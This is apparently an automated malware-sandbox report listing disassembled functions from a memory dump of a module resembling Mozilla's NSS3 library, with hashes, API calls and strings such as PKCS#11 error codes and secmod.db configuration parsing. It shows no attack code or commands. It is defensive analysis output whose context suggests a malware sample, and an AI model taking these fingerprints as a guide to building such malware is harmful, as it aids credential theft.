Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: fb17665cf0f442b4f90738db0e30dd32d45926defd01708573bf80a169364f82
Instruction ID: a47ff585565267fd682d4dd60f533aec5e021299a2d683d516cb212faad37d65
Opcode Fuzzy Hash: fb17665cf0f442b4f90738db0e30dd32d45926defd01708573bf80a169364f82
Instruction Fuzzy Hash: FA513471A059118FC730CE69C888BAA73B1FF46318F250A39D9099BB01C735EC42CBB9

Function 6C67ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C67EE3D

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 2640aeff40cb19a075f5b2d351a2ff7679f145be525104ddec0defd77f1f3e49
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 4871E472E01B018FD728CF59C8807AAB7F2BF98304F154A2DD85697B91D734E905CBA5

Function 6C5A5F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6C5A6013

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: 23aa297cd88eb2f0c15c886811ac4c4ab78aa99583164b3f57707b54cb23c3f0
Instruction ID: bf239eadc9651b02deea55106e934545d776fa472f9e7b5bfbe4105d147ff53d
Opcode Fuzzy Hash: 23aa297cd88eb2f0c15c886811ac4c4ab78aa99583164b3f57707b54cb23c3f0
Instruction Fuzzy Hash: AAC1D8B1A047068BDB04CE9BCC90BAEBBB2AF49318F648559D955D7B41DB31E883C790

Function 6C735E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6C735B90: PR_Lock.NSS3(00010000,?,00000000,?,6C61DF9B), ref: 6C735B9E
Part of subcall function 6C735B90: PR_Unlock.NSS3 ref: 6C735BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6C735E23,6C61E154), ref: 6C735EBF

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: 9203b7d56548aedb2c2919de8768cee7f34dab458069c615a0a67878bd797b09
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: DE519F72E0022A8FCB18CF59C9819AEF7B2FF88314B19457DD815B7746D734A941CBA0

Function 6C6EDCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7fa724237de8207c0d5c2e73bc956fa03ec679179b84b719bf0a89855fc012d
Instruction ID: 75f61b5beb077ae7139ca8d9f1a115c87e9402f4fa09debbe965ffeb365fd3bb
Opcode Fuzzy Hash: b7fa724237de8207c0d5c2e73bc956fa03ec679179b84b719bf0a89855fc012d
Instruction Fuzzy Hash: D8F18D71A06205CFDB08CF19C494BAA77B2BF89318F29416AD8099F745DB31ED42CBE5

Function 6C681DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: b4c9c1b1d61309143254009db2066e4ca9693c533fe0ecb72b696f487e79019a
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: FCD16B72D0A6568BDB118E18C8983DA7763AB85328F1D4329CD741B7C6C37B9906C7F4

Function 6C618EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94ecf7e04e7934cfd18e343f2ee9bddede6be6ee58ec7905786a050412613c61
Instruction ID: 5d193d60cae71f027da8ad0ca9ae5b04221a55f1c776720f4358b36519538651
Opcode Fuzzy Hash: 94ecf7e04e7934cfd18e343f2ee9bddede6be6ee58ec7905786a050412613c61
Instruction Fuzzy Hash: 8411E631A092158FD704CF29D88475AB365BF4635DF15427AD4058FE61C375D882C7C5

Function 6C6F0C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91de60a2f31100f091d8918921800affa28116a0daeb968457d929ea2137778a
Instruction ID: 26e266e97f3976d207bf4a368d869b4e51e1864b4bb119f0fd4f13e974109bdb
Opcode Fuzzy Hash: 91de60a2f31100f091d8918921800affa28116a0daeb968457d929ea2137778a
Instruction Fuzzy Hash: 40119179704345DFDB00DF19C8946AA77A6FF85368F248079D8298B701DB71E807CBA5

Function 6C663FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: 2737a9e5ff18144e629c16abc10daccbac75307f170df4a5ea99925506a21dfb
Instruction ID: e83a419ecf549277920519b4ac884b9103f27882796c1627c2c794cb5a9251dc
Opcode Fuzzy Hash: 2737a9e5ff18144e629c16abc10daccbac75307f170df4a5ea99925506a21dfb
Instruction Fuzzy Hash: D8F05470A0475D9BCB10DF29C45159EB7F4EF49254F10952AEC899B301E730AAC4C7D5

Function 6C6F0D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 3dcab86dcf261d2b4dc887514d97702cab3a1f82dac575f29e4e2ba17253b081
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 56E0923A202054A7DB148E09C460AA973DADF82719FB8807DCC6D9FA01D733F80387A5

Function 6C61CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c311e1401098cc30a1df3c437a51130739c937bb650265a5c62cd59fd94b9925
Instruction ID: 022a49cd63d4f59b9309fa10525104e97f8178c7f04f5e1c64e3fe758e7ee606
Opcode Fuzzy Hash: c311e1401098cc30a1df3c437a51130739c937bb650265a5c62cd59fd94b9925
Instruction Fuzzy Hash: 30C09238244708CFC704DF08E499DA53BF8FF0E61072400A4EA028B721EB71FC00DA80

Function 6C651D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6C651D46), ref: 6C652345

Strings

CKR_SIGNATURE_INVALID, xrefs: 6C6520CF
rv = %s, xrefs: 6C652340
CKR_WRAPPED_KEY_INVALID, xrefs: 6C651FB5
CKR_RANDOM_NO_RNG, xrefs: 6C6522A7
CKR_DEVICE_ERROR, xrefs: 6C65229D
CKR_STATE_UNSAVEABLE, xrefs: 6C652037
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6C652015
CKR_MUTEX_BAD, xrefs: 6C651F49
CKR_PIN_INVALID, xrefs: 6C652057
CKR_PIN_LEN_RANGE, xrefs: 6C652061
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6C65218D
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6C6522FF
rv = 0x%x, xrefs: 6C652312
CKR_FUNCTION_REJECTED, xrefs: 6C652289
CKR_OBJECT_HANDLE_INVALID, xrefs: 6C65204D
CKR_BUFFER_TOO_SMALL, xrefs: 6C652183
CKR_PIN_LOCKED, xrefs: 6C652075
CKR_TEMPLATE_INCONSISTENT, xrefs: 6C651EE1
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6C652327
CKR_CURVE_NOT_SUPPORTED, xrefs: 6C652179
CKR_INFORMATION_SENSITIVE, xrefs: 6C6522B1
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6C652320
CKR_OPERATION_ACTIVE, xrefs: 6C6522B8
CKR_DEVICE_MEMORY, xrefs: 6C651FF3
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6C651DE0
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6C651F0F
CKR_NEXT_OTP, xrefs: 6C65222F
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6C652293, 6C65233F
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6C65226B
CKR_OK, xrefs: 6C651DFC
CKR_PIN_EXPIRED, xrefs: 6C65206B
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6C651F8B
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6C65232E
CKR_NEW_PIN_MODE, xrefs: 6C651E9F
CKR_DEVICE_REMOVED, xrefs: 6C652261
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6C652275
CKR_MUTEX_NOT_LOCKED, xrefs: 6C652225
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6C651FD7
CKR_SAVED_STATE_INVALID, xrefs: 6C651E56
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6C65227F
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6C652319
CKR_PIN_INCORRECT, xrefs: 6C651D92
CKR_OPERATION_CANCEL_FAILED, xrefs: 6C651F77
CKR_TOKEN_NOT_PRESENT, xrefs: 6C651F81
CKR_FUNCTION_CANCELED, xrefs: 6C651E73
CKR_TEMPLATE_INCOMPLETE, xrefs: 6C651F95
CKR_SIGNATURE_LEN_RANGE, xrefs: 6C6520D9

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: 5d0888341001df4b7b3fc46683cbc638da09f2a16c92535e2bc0619e89ffc5fb
Instruction ID: 8f32e11bcfd3598a07cc886d505e1021445af9c2efaaba6f41eb9857099f5064
Opcode Fuzzy Hash: 5d0888341001df4b7b3fc46683cbc638da09f2a16c92535e2bc0619e89ffc5fb
Instruction Fuzzy Hash: 1861242464D044C6E65C454ED2BE3AC2360BB13308FF4813BEB818EE51C695CAB6D6DF

Function 6C685DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6C685E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C685E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6C685E5C
free.MOZGLUE(00000000), ref: 6C685E7E
free.MOZGLUE(00000000), ref: 6C685E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6C685EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6C685EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C685ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6C685EF0
free.MOZGLUE(00000000), ref: 6C685F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C685F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6C685F5B
free.MOZGLUE(00000000), ref: 6C685F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6C685FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6C685FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C685FC4
free.MOZGLUE(00000000), ref: 6C685FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C685FE9
free.MOZGLUE(00000000), ref: 6C685FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C68600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C686027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6C68605A
PR_smprintf.NSS3(6C75AAF9,00000000), ref: 6C68606A
free.MOZGLUE(00000000), ref: 6C68607C
free.MOZGLUE(00000000), ref: 6C68609A
free.MOZGLUE(00000000), ref: 6C6860B2
free.MOZGLUE(?), ref: 6C6860CE

Strings

readOnly, xrefs: 6C685E56
noModDB, xrefs: 6C685EEA
forceSecmodChoice, xrefs: 6C685F55
secmod.db, xrefs: 6C685EA0
%s/%s, xrefs: 6C686055
secmod=, xrefs: 6C685FB1
flags, xrefs: 6C685E3A, 6C685EC6, 6C685F30
configDir=, xrefs: 6C685F9D
pkcs11.txt, xrefs: 6C685F47, 6C685F7C, 6C68603A, 6C686053

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 9cea24b3b57ebedf595a9abf8cea83d7c38cffae57b877311993777e676fe463
Instruction ID: 0e9da966df7a5812927b7242f4b8cb0bdd3e891ba612a1fe2f1917f78ed79fdd
Opcode Fuzzy Hash: 9cea24b3b57ebedf595a9abf8cea83d7c38cffae57b877311993777e676fe463
Instruction Fuzzy Hash: 0E91F7F49062155BFF018F24DD85BAA3BA4AF0A34DF180061EC569BB42E731D915CBBE

Function 6C611D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6C611DA3

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6C611DB2

Part of subcall function 6C611240: TlsGetValue.KERNEL32(00000040,?,6C61116C,NSPR_LOG_MODULES), ref: 6C611267
Part of subcall function 6C611240: EnterCriticalSection.KERNEL32(?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C61127C
Part of subcall function 6C611240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C611291
Part of subcall function 6C611240: PR_Unlock.NSS3(?,?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C6112A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C611DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6C611E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6C611EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6C611ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6C611EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6C611F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C611F34
PR_SetLogBuffering.NSS3(00004000), ref: 6C611F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6C611F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C611F83
PR_SetLogFile.NSS3(00000000), ref: 6C611FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6C611FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6C611FCB
free.MOZGLUE(00000000), ref: 6C611FD2

Strings

NSPR_LOG_FILE, xrefs: 6C611F69
NSPR_LOG_MODULES, xrefs: 6C611DAD
all, xrefs: 6C611F0E
sync, xrefs: 6C611E46
timestamp, xrefs: 6C611EC4
bufsize, xrefs: 6C611E9B
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6C611E27
append, xrefs: 6C611EE6
, %n, xrefs: 6C611E6B
Unable to create nspr log file '%s', xrefs: 6C611FB3

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
